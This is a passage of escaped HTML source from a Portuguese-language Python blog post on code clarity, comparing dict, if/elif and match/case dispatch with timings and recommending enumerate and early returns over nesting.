&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_case&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_case&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;perf_counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;timed_fn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;function_dict&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10_000_000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;timed_fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t_elapsed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;perf_counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Tempo para &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timed_fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t_elapsed&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Variando as funções obtemos:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Tempo para function_dict: 3.3s&lt;/li&gt;
  &lt;li&gt;Tempo para function_if: 0.9s&lt;/li&gt;
  &lt;li&gt;Tempo para function_case: 0.9s&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fica bem claro que, ao usar o dicionário, não só deixar o código mais difícil de entender, ele ficou mais lento.&lt;/p&gt;

&lt;p&gt;Otimização é extremamente importante, e é um assunto que ainda quero abordar, mas para otimização é necessário um 
objetivo específico em mente, e partindo de um tempo de execução de referência. Não há sentido em otimizar apenas como
o intuito de… otimizar, sem benefícios concretos.&lt;/p&gt;

&lt;h2 id=&quot;use-ferramentas-da-linguagem&quot;&gt;Use ferramentas da linguagem&lt;/h2&gt;

&lt;p&gt;Se a linguagem oferece ferramentas, use-as! Aqui vai um exemplo de uma implementação com sintaxe parecida com o C:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Se você usa a linguagem por algum tempo, vai perceber que é possível simplificar usando o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;range&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mas um programador mais experiente vai perceber que essa funcionalidade é suportada com &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enumerate&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;letter&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;letter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Três implementações diferentes, sendo a última mais concisa e fácil de entender.&lt;/p&gt;

&lt;h2 id=&quot;evite-aninhamento&quot;&gt;Evite aninhamento&lt;/h2&gt;

&lt;p&gt;O aninhamento ou &lt;em&gt;nesting&lt;/em&gt; é quando suas funções tem muitas e muitas indentações dentro dela. Se você tem que 
apertar Tab muitas vezes, algo pode estar errado.&lt;/p&gt;

&lt;p&gt;Um exemplo é o abaixo, onde fica difícil ler a função, e onde ela retorna no fluxo normal, rapidamente:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_user_from_database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_user_from_database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;has_permissions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user does not have permissions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;User not found&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nossos olhos instintivamente percorrem até o final da função para encontrar o valor de retorno, nesse caso sem 
encontrar nada. Uma alternative e implementar o retorno rápido: &lt;strong&gt;se algo deu errado, retorne imediatamente&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Na prática, o teste de condições é feito em etapas. A primeira função seria:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_user_from_database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span 